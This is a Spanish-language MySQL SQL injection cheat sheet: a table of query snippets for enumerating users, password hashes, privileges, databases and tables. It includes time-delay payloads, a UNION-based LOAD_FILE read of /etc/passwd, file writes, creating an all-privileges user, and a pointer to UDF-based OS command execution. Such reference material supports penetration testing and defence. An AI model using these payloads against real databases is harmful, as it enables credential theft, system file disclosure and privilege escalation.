Versión |
SELECT @@version |
Comentarios |
SELECT 1; #comentario
SELECT /*comentario*/1; |
Usuario Actual |
SELECT user();
SELECT system_user(); |
Listar Usuarios |
SELECT user FROM mysql.user; — priv |
Listar Hashes de Passwords |
SELECT host, user, password FROM mysql.user; — priv |
Crackear Passwords |
John the Ripper crackea hashes de MySQL. |
Listar privilegios |
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
Listar cuentas DBA |
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;
SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Base de Datos Actual |
SELECT database() |
Listar Bases de Datos |
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv |
Listar Columnas |
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Listar Tablas |
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Encontrar Tablas apartir de un nombre de Columna |
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — en cuentra las tablas con columnas llamadas ‘username’ |
Seleccionar la N Fila |
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # filas numeradas desde 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # filas numeradas desde 0 |
Seleccionar el N caracter |
SELECT substr(‘abcd’, 3, 1); # devuelve c |
AND Bit a Bit |
SELECT 6 & 2; # devuelve 2
SELECT 6 & 1; # devuelve 0 |
Valor ASCII -> Caracter |
SELECT char(65); # devuelve A |
Char -> ASCII Value |
SELECT ascii(‘A’); # returns 65 |
Casting |
SELECT cast(‘1′ AS unsigned integer);
SELECT cast(‘123′ AS char); |
Concatenación de cadenas |
SELECT CONCAT(‘A’,’B’); #devuelve AB
SELECT CONCAT(‘A’,’B’,’C’); # devuelve ABC |
Sentencia IF |
SELECT if(1=1,’foo’,’bar’); — devuelve ‘foo’ |
Sentencia CASE |
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # devuelve A |
Evitar Comillas |
SELECT 0×414243; # devuelve ABC |
Demora de Tiempo |
SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12 |
Hacer Peticiones DNS |
¿Imposible? |
Ejecución de Comandios |
Si mysqld (<5.0) se ejecuta como root Y te haces con una cuenta DBA podrás ejecutar comandos del SO subiendo un archivo compartido a /usr/lib(o similar). El archivo .so debe contener una Función de Usuario Definida (UDF). raptor_udf.c explica exactamente como puedes hacerlo. Recuerda compilar para la arquitectura del objetivo pues no tiene porque ser la misma que la del atacante. |
Acceso a Archivos Locales |
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, solo puede leer archivos de lectura universales.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, escribir en archivo de sistema |
Hostname, Dirección IP |
¿Imposible? |
Crear Usuarios |
CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Borrar Usuarios |
DROP USER test1; — priv |
Make User DBA |
GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv |
Localización de los archivos de BD |
SELECT @@datadir; |
Default/System Databases |
information_schema (>= mysql 5.0)
mysql |